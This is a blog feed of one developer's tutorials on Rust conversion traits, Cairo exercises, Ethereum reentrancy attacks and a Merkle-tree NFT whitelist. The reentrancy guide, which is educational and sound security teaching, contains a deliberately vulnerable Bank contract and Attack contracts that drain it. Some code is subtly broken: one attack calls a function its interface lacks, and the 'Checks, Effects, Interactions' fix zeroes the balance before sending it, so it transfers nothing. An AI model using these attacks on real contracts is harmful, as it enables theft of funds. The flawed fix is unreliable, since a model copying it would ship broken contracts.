DEV Community: Peter Blockman

Quick guide to Rust's From/Into and TryFrom/TryInto Traits

Peter Blockman — Sat, 29 Jul 2023 09:06:50 +0000

While working with Rust, I find myself implementing a lot of From/Into or TryFrom/TryInto traits in my code. Whether you're dealing with simple conversions or handling more complex scenarios with potential errors, mastering these traits is key to writing elegant Rust code.

From and Into Traits

We use the From trait trait to convert another type to our type. When we implement the From trait for our type, Rust automatically provides an implementation of the Into trait trait to convert our type to that another type.

Let's consider a scenario where we have a Car struct with a property called brand, which is of type String. Now, suppose we have a variable brand_1: String, and we want to convert it to an instance of Car. We need to implement the From trait for the Car struct.

#[derive(Debug)]
#[allow(dead_code)]
struct Car {
    brand: String
}

impl From<String> for Car {
    fn from(brand: String) -> Self {
        Car { brand }
    }
}

fn main() {
    let brand_1 = String::from("FORD");

    let car_1 = Car::from(brand_1);

    println!("car_1: {:?}", car_1); // car_1: Car { Brand: "FORD" }
}

if we want to convert a Car into a String type, it might be natural to assume that we can achieve this by using the Into trait. However, in Rust, it is not the recommended approach, as the Rust documentation states:

One should avoid implementing Into and implement From instead. Implementing From automatically provides one with an implementation of Into thanks to the blanket implementation in the standard library.

Therefore, following this guideline, we will implement From trait for the String type. This will enable us to invoke into on a variable of String type to convert it to a Car instance.

#[derive(Debug)]
#[allow(dead_code)]
struct Car {
    brand: String
}

impl From<String> for Car {
    fn from(brand: String) -> Self {
        Car { brand }
    }
}

impl From<Car> for String {
   fn from(car: Car) -> Self {
        String::from(car.brand)
    }
}

fn main() {
    let brand_1 = String::from("FORD");
    let car_1 = Car::from(brand_1); 
    println!("car_1: {:?}", car_1); // car_1: Car { brand: "FORD" }

    let car_1_brand: String = car_1.into();
    println!("car_1_brand: {:?}", car_1_brand); // car_1_brand: "FORD"
}

TryFrom and TryInto Traits

The TryFrom and TryInto traits are similar to the From and Into traits, but they handle conversions with the consideration of potential errors.

In our case, let's say we want to ensure that our Car struct does not accept an empty brand name.

#[derive(Debug)]
#[allow(dead_code)]
struct Car {
    brand: String
}

impl TryFrom<String> for Car {
    type Error = &'static str;

    fn try_from(brand: String) -> Result<Self, Self::Error> {
        if brand.len() < 1 {
            Err("Invalid brand name")
        } else {
            Ok(Car { brand })
        }
    }
}

fn main() {
    let brand_1 = String::from("FORD");
    let car_1 = Car::try_from(brand_1).unwrap();
    println!("car_1: {:?}", car_1); // Car { brand: "FORD" }

    let car_2 = Car::try_from(String::from("")).unwrap_err();
    println!("car_2: {:?}", car_2); // "Invalid brand name"
}

Now we want to allow the conversion of our Car struct to a String, but not for certain specific brands.

#[derive(Debug)]
#[allow(dead_code)]
struct Car {
    brand: String
}

impl TryFrom<String> for Car {
    type Error = &'static str;

    fn try_from(brand: String) -> Result<Self, Self::Error> {
        if brand.len() < 1 {
            Err("Invalid brand name")
        } else {
            Ok(Car { brand })
        }
    }
}

impl TryFrom<Car> for String {
    type Error = &'static str;
    fn try_from(car: Car) -> Result<Self, Self::Error> {
        if car.brand == "KIA" || car.brand == "BMW" {
             Err("Not allowed!")
        } else {
            Ok(String::from(car.brand))
        }
    }
}

fn main() {
    let brand_1 = String::from("FORD");
    let car_1 = Car::try_from(brand_1).unwrap();
    println!("car_1: {:?}", car_1); // Car { brand: "FORD" }

    let car_2 = Car::try_from(String::from("")).unwrap_err();
    println!("car_2: {:?}", car_2); // "Invalid brand name"

    let brand_1: Result<String, &'static str> = car_1.try_into();
    println!("brand_1: {:?}", brand_1.unwrap()); // "FORD"

    let car_3 = Car::try_from(String::from("KIA")).unwrap();
    let brand_2: Result<String, &'static str> = car_3.try_into();
    println!("brand_2: {:?}", brand_2.unwrap_err()); // "Not allowed!"
}

Conclusion

By now, you should feel confident in your ability to leverage these traits effectively, streamlining your code and improving its readability. Happy coding!

Cairo: Uint256

Peter Blockman — Thu, 10 Nov 2022 09:21:19 +0000

Introduction

If you are confused about what value should be passed into the low and high of Uint256 in Cairo? you are not alone. I was confused the first time I saw it too. After digging into the code and asking around, I finally figured it out.

What is Cairo's Uint256?

Everything in Cairo is represented by felt. felt stands for Field Element, the only data type in Cairo. it is 251 bits unsigned integer.

Because a uint256 number has 256 bits in size, it can not be represented by a 251-bit felt. Therefore, it is necessary to split the uint256 number into two components: low and high. The low component represents the low 128 bits of the uint256 number, and the high component is the high 128 bits of the uint256 number. The binary value of low and high are padded with leading 0s up to the maximum resolution and put together side by side to form the uint256 number.

Uint256 is defined as a struct:

struct Uint256 {
    low: felt,

    high: felt,
}

Examples

For a better understanding, I have deployed a simple Cairo smart contract on testnet. The contract has only one view function get_uint256 that returns a Uint256 number in decimal from its low and high value.

@view
func get_uint256{syscall_ptr: felt*, pedersen_ptr: HashBuiltin*, range_check_ptr}(
    low: felt, high: felt
) -> (num: Uint256) {
    let num: Uint256 = Uint256(low, high);
    return (num,);
}

Let's say we want to have number 4 as an Uint256. To do so, we pass 4 to low and 0 to high:

let num: Uint256 = Uint256(low = 4, high = 0)

4 is 100 and 0 is 0 in binary. We add padding zeros to them and stack them side by side, like so:

Let's check it on our smart contract:

What about Uint256(low = 0, high = 4)?
In the same token, we pad them with leading 0s to the maximum resolution and put them together:

That is 1361129467683753853853498429727072845824 in decimal. 👀

Conclusion

That's it for today. Thank you for reading this post, hopefully, it was useful. Let's keep on learning Cairo!

If you have any questions feel free to reach out to me on Twitter.

Cairo exercise: Polynomial Equation

Peter Blockman — Tue, 08 Nov 2022 09:04:19 +0000

Problem

Write a program poly.cairo that computes the expression:

x^3 + 23x^2+ 45x + 67 = 0, x = 100

After the program ends, the value should be at [ap - 1].
For this exercise, you may assume that the fp register is constant and initialized to the same value as ap.

Link to the problem in Cairo documentation

Solution

%lang starknet

func compute_poly() -> felt {
    [ap] = 100, ap++;
    [ap] = [ap - 1] + 23, ap++;
    [ap] = [ap - 2] * [ap - 1], ap++;
    [ap] = [ap - 1] + 45, ap++;
    [ap] = [ap - 1] * [ap - 4], ap++;
    [ap] = [ap - 1] + 67, ap++;
    ret;
}

Explain the solution

Cairo receives instructions and operates on memory cells that are immutable and can hold one value. Therefore, first, we need to factor our equation to make instructions for each memory cell.

x(x(x + 23) + 45) + 67 = 0, x = 100

x: [ap] = 100, ap++;

Here we tell Cairo to put 100 to the memory cell at address ap, then we move to the next memory cell by ap++

Note: ap is the allocation pointer pointing to the available memory cells. Read more about it here

x + 23: [ap] = [ap - 1] + 23, ap++

Now we are at the second memory cell. To refer to the value of x which is in the first cell, we use [ap - 1]. We also move the pointer to the next cell by ap++.

x(x+23): [ap] = [ap - 2] * [ap - 1] , ap++

At this step, we get the product of x which is 2 memory cells before the pointer and the previous memory cell's value x + 3. Then we call ap++ again to move to the next cell.

We continue to do the same for the rest of our equation:

x(x + 23) + 45: [ap] = [ap - 1] + 45, ap++;

x(x(x + 23) + 45): [ap] = [ap - 1] * [ap - 4], ap++ ;

x(x(x + 23) + 45) + 67: [ap] = [ap - 1] + 67, ap++;

Test

test_poly.cairo

%lang starknet

from src.poly import compute_poly

@external
func test_compute_poly() {
    let res = compute_poly();
    assert res = 1234567;
    return ();
}

Run protostar test tests/test_poly.cairo to test the function.

Conclusion

In this article, I've shown how to instruct Cairo to compute a polynomial equation. The more I understand Cairo, the more fascinating it becomes to me. Keep on learning!

If you have any questions, feel free to DM me on Twitter. I would love to talk.

Github repo

Cairo: compute Pedersen hash of an array of felts challenge

Peter Blockman — Tue, 08 Nov 2022 06:40:12 +0000

Introduction

Cairo provides a built-in hash2 function to calculate the Pedersen hash of two felts. In this challenge, we will recursively compute the hash of an array of felts.

The challenge

ex_hash_chain.cairo

// Task:
// Develop a function that is going to calculate Pedersen hash of an array of felts.
// Cairo's built in hash2 can calculate Pedersen hash on two field elements.
// To calculate hash of an array use hash chain algorithm where hash of [1, 2, 3, 4] is H(H(H(1, 2), 3), 4).
from starkware.cairo.common.cairo_builtins import HashBuiltin
from starkware.cairo.common.hash import hash2
// Computes the Pedersen hash chain on an array of size `arr_len` starting from `arr_ptr`.
func hash_chain{hash_ptr: HashBuiltin*}(arr_ptr: felt*, arr_len: felt) -> (result: felt) {
    return (result=1);
}

test_ex_hash_chain.cairo

%lang starknet

from starkware.cairo.common.alloc import alloc
from starkware.cairo.common.cairo_builtins import HashBuiltin

from exercises.programs.ex_hash_chain import hash_chain

@external
func test_hash_chain{pedersen_ptr: HashBuiltin*}() {
    alloc_locals;

    let (local array: felt*) = alloc();
    assert array[0] = 1;
    assert array[1] = 4;
    let (result) = hash_chain{hash_ptr=pedersen_ptr}(array, 2);
    assert 1323616023845704258113538348000047149470450086307731200728039607710316625916 = result;

    let (local array: felt*) = alloc();
    assert array[0] = 2; // YES
    assert array[1] = 100;
    assert array[2] = 12;
    assert array[3] = 2; // YES
    assert array[4] = 422; // YES
    assert array[5] = 898;
    assert array[6] = 10;
    assert array[7] = 31;
    assert array[8] = 22;
    assert array[9] = 5;
    let (result) = hash_chain{hash_ptr=pedersen_ptr}(array, 10);
    assert 2185907157710685805186499755291718313025201005027499629005977263373594646427 = result;

    return ();
}

Solution

from starkware.cairo.common.cairo_builtins import HashBuiltin
from starkware.cairo.common.hash import hash2

func hash_chain{hash_ptr: HashBuiltin*}(arr_ptr: felt*, arr_len: felt) -> (result: felt) {
    if (arr_len == 2) {
        return hash2([arr_ptr], [arr_ptr + 1]);  
    }

    let (hash) = hash_chain(arr_ptr, arr_len - 1);

    return hash2(hash, [arr_ptr + arr_len - 1]);
}

Explain the solution

For a better explanation, I added another test case

let (local array: felt*) = alloc();
    assert array[0] = 1;
    assert array[1] = 2;
    assert array[2] = 3;
    assert array[3] = 4;

    let (result) = hash_chain{hash_ptr=pedersen_ptr}(array, 4);
    assert 2151680050850558576753658069693146429350618838199373217695410689374331200218 = result;

As usual, we handle the base case for our recursion function:

if (arr_len == 2) {
      return hash2([arr_ptr], [arr_ptr + 1]);  
 }

The base case is to calculate the H(1, 2). Next, we handle the recursive case:

 let (hash) = hash_chain(arr_ptr, arr_len - 1);

 return hash2(hash, [arr_ptr + arr_len - 1]);

After the arr_len reaches 2, the call stack starts to offload its box starting from the base case:

arr_len = 2
result = H(1, 2)
--------------------
arr_len = 3
hash = H(1, 2)
result = H(H(1 , 2), 3) 
--------------------
arr_len = 4 
hash = H(H(1 , 2), 3) 
result = H(H(H(1 , 2), 3), 4)

done!

Conclusion

I don't often use recursion in other languages which have loop standards. However, since there is no loop in Cairo, things usually get done by recursion. I am getting used to it.

I hope you found this guide insightful. If you have any questions, feel free to reach out. Happy coding!

Here is the Github repo for the code in this article

Cairo: pattern of bits challenge

Peter Blockman — Sun, 06 Nov 2022 07:44:27 +0000

Introduction

In Encode's Cairo Bootcamp, there is an interesting bit manipulation challenge. It took me some time to figure it out. In this article, I will discuss the challenge and the solution.

The challenge

ex7.cairo

%lang starknet
from starkware.cairo.common.bitwise import bitwise_and, bitwise_xor
from starkware.cairo.common.cairo_builtins import BitwiseBuiltin
from starkware.cairo.common.cairo_builtins import HashBuiltin
from starkware.cairo.common.math import unsigned_div_rem

// Using binary operations return:
// - 1 when pattern of bits is 01010101 from LSB up to MSB 1, but accounts for trailing zeros
// - 0 otherwise

// 000000101010101 PASS
// 010101010101011 FAIL

func pattern{bitwise_ptr: BitwiseBuiltin*, range_check_ptr}(
    n: felt, idx: felt, exp: felt, broken_chain: felt
) -> (true: felt) {
    return (0,);
}

test_ex7.cairo

%lang starknet
from starkware.cairo.common.uint256 import Uint256
from starkware.cairo.common.bitwise import bitwise_and, bitwise_xor
from starkware.cairo.common.cairo_builtins import BitwiseBuiltin, HashBuiltin

from exercises.programs.ex7 import pattern

@external
func test_patternt{syscall_ptr: felt*, range_check_ptr, bitwise_ptr: BitwiseBuiltin*}() {
    alloc_locals;

    // test nice numbers
    //###############################################################################################
    let (nice_pattern) = pattern(n=170, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 1;

    let (nice_pattern) = pattern(n=10, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 1;

    let (nice_pattern) = pattern(n=43690, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 1;

    let (nice_pattern) = pattern(n=1398101, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 1;

    // test not-nice numbers
    //###############################################################################################
    let (nice_pattern) = pattern(n=17, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 0;

    let (nice_pattern) = pattern(n=11, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 0;

    let (nice_pattern) = pattern(n=43390, idx=0, exp=0, broken_chain=0);
    assert nice_pattern = 0;

    %{
        if ids.nice_pattern == 1:
            print(f"has nice pattern") 
        else:
            print(f"doesn't have a nice pattern")
    %}

    return ();
}

Understanding the problem

If the bit pattern is 01010101, it is valid. Looking at the test cases, we can see that 01010 (decimal 10) is valid too. This means that the problem is about alternative bits between 1 and 0. If the alternative pattern is not broken until the LSB, we return 1, otherwise, return 0. For instance, we will get 1 for 01010 (decimal 10), and 0 for 01011 (decimal 11).

Since the challenge gives us the test cases, we can get some cues about the arguments from them. There are 4 arguments in the pattern function:

n: felt is the decimal number that we want to check its bit pattern. This tells us that we need to convert the decimal number to binary.
idx: felt is the index of a bit in the pattern.
exp: felt is the value of a bit. We need this because we want to compare adjacent bits to see if the chain is valid.
broken_chain: felt The name says it all. It is like a "boolean" variable that determines whether the pattern is broken.

Solution

func check_broken_chain{range_check_ptr}(remainder: felt, exp: felt) -> felt {
    if (remainder == exp) {
        return 1;
    }
    return 0;
}

func pattern{bitwise_ptr: BitwiseBuiltin*, range_check_ptr}(
    n: felt, idx: felt, exp: felt, broken_chain: felt
) -> (true: felt) {
    if (n == 0) {
        let valid_chain = 1 - broken_chain;
        return (valid_chain,);
    }

    if (broken_chain == 1) {
        let valid_chain = 1 - broken_chain;

        return (valid_chain,);
    }

    if (idx == 0) {
        let (quotient, remainder) = unsigned_div_rem(n, 2);
        let new_idx = idx + 1;
        return pattern(quotient, new_idx, remainder, 0);
    }

    let (quotient, remainder) = unsigned_div_rem(n, 2);
    let _broken_chain = check_broken_chain(remainder, exp);

    let new_idx = idx + 1;
    return pattern(quotient, new_idx, remainder, _broken_chain);
}

Explain the solution

The solution can be broken down into 3 simple steps :

Convert the decimal n to binary
Check if the pattern is valid
Handle edge case and base case

Convert the decimal n to binary

One way to convert decimal to binary is to use modulo. Cairo does not have a built-in modulo operator, but we can use unsigned_div_rem from Starkware math library.

from starkware.cairo.common.math import unsigned_div_rem

let (quotient, remainder) = unsigned_div_rem(n, 2);

Check if the pattern is valid

Simply put, It comes down to whether the current bit remainder is different than the previous bit exp. If they are the same, the pattern is broken.

When I first tried to handle the _broken_chain value, I did this:

let (quotient, remainder) = unsigned_div_rem(n, 2);
tempvar _broken_chain = 0;
   if (remainder == exp) {
        _broken_chain = 1;
    }
let new_idx = idx + 1;

return pattern(quotient, new_idx, remainder, _broken_chain);

and got an error

An ASSERT_EQ instruction failed: 0 != 1.
        _broken_chain = 1;
        ^***************^

The reason is that Cairo's memory cell is read-only. Read more about it here.

A workaround is to make a standalone function:

func check_broken_chain{range_check_ptr}(remainder: felt, exp: felt) -> felt {
    if (remainder == exp) {
        return 1;
    }
    return 0;
}
...
let (quotient, remainder) = unsigned_div_rem(n, 2);
let _broken_chain = check_broken_chain(remainder, exp);
let new_idx = idx + 1;

return pattern(quotient, new_idx, remainder, _broken_chain);

Since the challenge has a bitwise_xor import in the first place, we can also use it to get the _broken_chain use like so:

 let (remainder_xor_prev_remainder) = bitwise_xor(remainder, exp);
 let _broken_chain = 1 - remainder_xor_prev_remainder;

During the recursion, if broken_chain is 1, we just return the result.

 if (broken_chain == 1) {
        let valid_chain = 1 - broken_chain;

        return (valid_chain,);
    }

Handle the edge case and base case

The first bit does not have a previous bit to compare with, so we can just calculate its remainder and move to the next bit.

  if (idx == 0) {
        let (quotient, remainder) = unsigned_div_rem(n, 2);
        let new_idx = idx + 1;
        return pattern(quotient, new_idx, remainder, 0);
    }

Because we keep dividing n by 2, it will become 0 eventually. When it does, we return the result.

if (n == 0) {
        let valid_chain = 1 - broken_chain;
        return (valid_chain,);
   }

Wrapping Up

Alright, that is all I am covering for today. If you have any questions, please feel free to reach out to me. I hope this is helpful to somebody learning Cairo.

You can find the code in this article on Github

Cairo lang: Sum even numbers in an array

Peter Blockman — Sat, 05 Nov 2022 08:32:47 +0000

Setting up

We use protostar to set up a simple Cairo project where we can implement and test our function.

protostar init sum-even

Algorithm

Cairo does not have a standard for loop built-in. To sum even numbers in an array, we use recursion.

main.cairo

from starkware.cairo.common.bitwise import bitwise_xor
from starkware.cairo.common.cairo_builtins import BitwiseBuiltin, HashBuiltin

func sum_even{bitwise_ptr: BitwiseBuiltin*}(arr_len: felt, arr: felt*, run: felt, idx: felt) -> (
    sum: felt
) {
    if (arr_len == idx) {
        return (run,);
    }

    let val = arr[idx];

    let (xor) = bitwise_xor(val, 1);
    let new_idx: felt = idx + 1;

    if (xor == val + 1) {
        let new_run = run + val;
        return sum_even(arr_len, arr, new_run, new_idx);
    } else {
        return sum_even(arr_len, arr, run, new_idx);
    }
}

The first time I look at Cairo's functions. They seem strange to me. Why are things like {bitwise_ptr: BitwiseBuiltin*} included in most every function?

{bitwise_ptr: BitwiseBuiltin*} is an Implicit argument. {bitwise_ptr: BitwiseBuiltin*} adds argument bitwise_ptr which is a pointer and returns an updated pointer bitwise_ptr = bitwise_ptr + BitwiseBuiltin.SIZE to the function. BitwiseBuiltin.SIZE is the memory size of BitwiseBuiltin type.

The arguments' type: felt is a filed element. When you don't specify variables' types, you use felt. It is like any in Typescript. We use felt* for array arr (The single asterisk indicates that it is a pointer)

If idx equals arr_len, it means that we reach the end of the array. We simply return the sum value.

 if (arr_len == idx) {
       return (run,);
 }

To check if the an number is even, we use bitwise xor

    let val = arr[idx];
    let (xor) = bitwise_xor(val, 1);
    // xor == val + 1 means val is an even number

If a number is even, we add it to the sum. Otherwise, move to the next number.

if (xor == val + 1) {
        let new_run = run + val;
        return sum_even(arr_len, arr, new_run, new_idx);
    } else {
        return sum_even(arr_len, arr, run, new_idx);
    }

To test the function, we make test_sum_even in test_main.cairo

Test

%lang starknet
from starkware.cairo.common.cairo_builtins import BitwiseBuiltin
from starkware.cairo.common.alloc import alloc

from src.main import sum_even

@external
func test_sum_even{bitwise_ptr: BitwiseBuiltin*}() {
    let (array: felt*) = alloc();
    assert array[0] = 2;
    assert array[1] = 1;

    let (sum) = sum_even(2, array, 0, 0);
    assert 2 = sum;

    return ();
}

%lang starknet declares that this file is a Starknet file. Without it, we cannot use @external decorator which allows us to call it by protostar test tests/test.cairocommand.

We also need to supply the implicit argument bitwise_ptr: BitwiseBuiltin* because we use it in our sum_even

To make an array, we call alloc() function which dynamically creates a new memory segment to store the array as a single element. Then we start to add values to the array using the assert statement. assert array[0] = 2; set the value of the first memory cell at the address array (a pointer) to 2. If any value was set previously, it will verify if the previous value equals 2.

Finally, we check if the returned sum is the expected result 2 by using the assert keyword again.

Conclusion

This is an exercise from Encode's Cairo Bootcamp. At the time of writing, I am participating in the Bootcamp. Teaching is the best way to learn. I indeed get a better understanding of Cairo by explaining the code in this article.

Github repo: https://github.com/peterblockman/cairo-sum-even

Hope you enjoy the blog post. Thank you for taking the time to read.

Smart contract security: an illustrated guide to Re-entrancy Attack

Peter Blockman — Sun, 11 Sep 2022 17:04:33 +0000

Table of content

Introduction
Types of reentrancy attack
- Single function reentrancy attack
- Cross-function reentrancy attack
How to prevent reentrancy attacks
- Reentrancy guard
- Checks, Effects, Interactions
- PullPayment
Conclusion

Introduction

On June 17, 2016, a hacker drained 3.6 million ETH from TheDao's smart contract. It was the notorious reentrancy attack that led to a hard fork of Ethereum which became Ethereum Classic (ETC). After the attack, developers were educated to prevent similar attacks, but it does not stop hackers from exploiting the vulnerability several times more.

If you are a smart contract developer, it is important to understand reentrancy attack and how to prevent it.

Types of reentrancy attack

There are two known types of reentrancy attacks: single function and cross-function reentrancy. In this article, we will stimulate them with two smart contracts: Bank and Attack.

Single function reentrancy attack

Bank smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable {
        require(balances[msg.sender] > 0,"Not enough balance");

        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(success, "Failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}

The Bank smart contract is pretty straightforward. We have a balances mapping, a deposit function, and a withdraw function which we want to pay attention to.

The withdraw function does 3 things. First, it checks if the user has deposited ETH. If yes, transfer the balance to the user's address. Finally, it set the user's balance to 0. Here is the diagram:

Attack smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();

        payable(msg.sender).transfer(address(this).balance);
    }


    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.withdraw();
        }
    }
}

Before explaining the Attack smart contract code, let's discuss the concept of the reentrancy attack. (For short, I will call the smart contracts Bank and Attack)

Consider Bank calling Attack. If Attack can call Bank while Bank is still executing its call to Attack, reentrancy happens. This makes a loop that drains all Bank's funds. Let's look at the following diagram:

The reentrancy attack can be broken down into 3 steps:

Step 1: Attack calls Bank's withdraw function. Bank contract transfer ETH to Attack after checking Attack's balance valid.

Step 2: Transfering ETH from Bank to Attack triggers Attack's receive function. If you are not familiar with receive Ether Function, read more about it here.

Step 3: Attack's receive function calls Bank's withdraw function again while Bank is still executing its call at step 2. This means that balances[msg.sender] = 0; doesn't get executed, so Bank keeps sending its ETH to Attack until there is no ETH anymore.

Cross-function reentrancy attack

This type of reentrancy attack is achievable when a vulnerable function shares a state with another external function that performs what the hacker wants.

Bank smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}

Attack smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
        // transfer to msg.sender balance of this contract
        payable(msg.sender).transfer(address(this).balance);
    }


    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.transfer();
        }
    }
}

Our Bank smart contract now has another function, transfer. This function allows the user to transfer ETH from his balance to a recipient. The withdraw function shares the mapping balances state with the transfer function which has

Instead of recursively calling Bank's withdraw function, Attack calls the transfer function in its receive function. Because the line balances[msg.sender] = 0; in Bank's withdraw function has not been reached before this call, the transfer function keeps transferring ETH to the attacker's address.

How to prevent reentrancy attacks

Reentrancy guard

Reentrancy guard or mutex places a lock on the smart contract state. Locking the state will prevent the attacker from calling withdraw or transfer function recursively.

bool private locks;

 function withdraw() external payable {
        require(!locks, "Balances locked!");
        locks = true;

        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;

        locks = false;
    }

When Bank's withdraw function calls Attack's receive function, locks is still true. It will trigger the require function, and revert the call.

That is the simplest form of Reentrancy guard. If you want a more complex one, check out OpenZeppelin's ReentrancyGuard.sol

Checks, Effects, Interactions

We set the user's balance to 0 before transferring the funds to the Attack contract. require(balances[msg.sender]>0, "Not enough balance"); will be triggered when the Attack contract call withdraw function again.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");

         balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");
    }
}

PullPayment

In this pattern, the paying contract sends funds to an intermediate escrow to avoid direct contact with bad contracts. We now store users' balances in the Escrow smart contract, and the users can pull the funds themself from there.

Bank smart contract

pragma solidity ^0.8.16;

import "./Escrow.sol";

contract Bank {
    Escrow private immutable _escrow;

    constructor() {
        _escrow = new Escrow();
    }

    function withdrawPayments(address payable payee) public virtual {
        _escrow.withdraw(payee);
    }

    function payments(address dest) public view returns (uint256) {
        return _escrow.depositsOf(dest);
    }

    function _asyncTransfer(address dest, uint256 amount) internal virtual {
        _escrow.deposit{value: amount}(dest);
    }
}

Escrow smart contract

pragma solidity ^0.8.16;

import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';

contract Escrow is Ownable {

    using Address for address payable;

    mapping(address => uint256) private _balances;

    function depositsOf(address payee) public view returns (uint256) {
        return _balances[payee];
    }


    function deposit(address payee) public payable virtual onlyOwner {
        uint256 amount = msg.value;
        _balances[payee] += amount;
    }

    function withdraw(address payable payee) public virtual onlyOwner {
        uint256 payment = _balances[payee];

        _balances[payee] = 0;

        payee.sendValue(payment);
    }
}

We still need to protect the Escrow smart contract from reentrancy attacks. That is why we have _balances[payee] = 0; before sending funds in the withdraw function.

Like the Reetrancy guard, the PullPayment method is recommended by OpenZeppelin. You can find the details versions of the two smart contracts above in their Github Repo: PullPayment.sol and Escrow.sol

Conclusion

Reentrancy is probably the most popular and exploited vulnerability in the history of Web3. Smart contract developers must understand how it works and how to prevent it from being exploited. Checkout this Github repo for the code.

Understand Merkle tree by making an NFT minting whitelist

Peter Blockman — Fri, 26 Aug 2022 06:36:00 +0000

TL;DR
If you are familiar with Merkle tree and want to jump to the code. Here you go:

Simplified codes that I use in this article: Github
A more DRY version that you can reuse in your project: Github

Introduction
What is Merkle tree
Validate data using Merkle tree
Create a whitelist using Merkle tree
- Setting up
- The smart contract
- Create the whitelist
- Step 1: Create a Merkle Tree
- Step 2: Get Merkel proofs
- Step 3: Get Merkle root
- Step 4: Verify users' address and quantity
Conclusion

Introduction

NFT whitelisting is a way to reward your community's active users, and an effective tool to prevent fraud. Instead of storing all user data directly on-chain, which can be costly, we can utilize a Merkle tree generated from the user data. From this tree, only the root (stored as bytes32) is extracted and stored on-chain. This approach significantly reduces gas fees.

In this article, I’ll delve into how the Merkle Tree operates by creating a minting whitelist for my fictional NFT project, Excited Apes Yacht Club (EAYC).

What is Merkle tree

Merkle tree is a hash-based data structure that is used in cryptography to maintain data integrity. Each non-leaf node in a Merkle tree is a hash of its children. This means that each non-leaf node has 2 children max.

There are four data blocks in the example tree above. Hashing each of them results in four leaf nodes A-0, A-1, B-0, and B-1. Each consecutive leaf node pair (A-0, A-1), (B-0, B-1) is repeatedly hashed to create non-leaf nodes A and B. Finally, the two non-leaf nodes' hashes (A and B) are hashed again to create the root hash (Merkle root).

Validate data using Merkle tree

To validate if the A-0 hash (target hash) exists in the Merkle tree, we need to rebuild the tree. To do that, we only need A-1 and B hash. If we can recreate the root hash, the A-0 hash is valid. That is the beauty of the Merkle tree! We don't need to know all its hashes to validate the target hash.

Create a whitelist using Merkle tree

Setting up

We use hardhat to set up our project. if you are not familiar with hardhat, check out their documentation.

The smart contract

We will use ERC721 for our NFT project.
ExcitedApeYachtClub.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import {MerkleProof} from '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';

contract ExcitedApeYachtClub is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    bytes32 public merkleRoot;

    constructor(bytes32 merkleRoot_) ERC721('Excited Ape Yacht Club', 'EAYC') {
        merkleRoot = merkleRoot_;
    }

    function mint(uint256 quantity, bytes32[] calldata merkleProof) public {
        bytes32 node = keccak256(abi.encodePacked(msg.sender, quantity));
        require(MerkleProof.verify(merkleProof, merkleRoot, node), 'invalid proof');

        for (uint256 i = 0; i < quantity; i++) {
            uint256 tokenId = _tokenIds.current();
            _mint(msg.sender, tokenId);

            _tokenIds.increment();
        }
    }
}

Notice that we declare bytes32 public merkleRoot; to store Merkle tree root, and use it to verify against merkleProof and node inside mint function.

Create the whitelist

Let's say there are 3 active users in our community: Alice, Bob, and Carol. Depending on their contribution, we allow each user to mint a different quantity.
We can break it down into 4 steps:

Create a Merkle tree from users' addresses and quantity.
Get the proof of each leaf node, and store it off-chain.
Get the root of the Merkle tree, and store it on the NFT smart contract.
Verify users' addresses and quality on our NFT smart contract when they attempt to mint. If the proof of a user is valid, the user is allowed to mint.

Step 1: Create a Merkle Tree

We will use merkletreejs, ethers, and keccak256 to generate a Merkle tree that works with Solidity smart contracts. Here is the code:

import { MerkleTree } from "merkletreejs";
import ethers from "ethers";
import keccak256 from "keccak256";
// inputs: array of users' addresses and quantity
// each item in the inputs array is a block of data
// Alice, Bob and Carol's data respectively
const inputs = [
  {
    address: "0x70997970C51812dc3A010C7d01b50e0d17dc79C8",
    quantity: 1,
  },
  {
    address: "0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC",
    quantity: 2,
  },
  {
    address: "0x90F79bf6EB2c4f870365E785982E1f101E93b906",
    quantity: 1,
  },
];
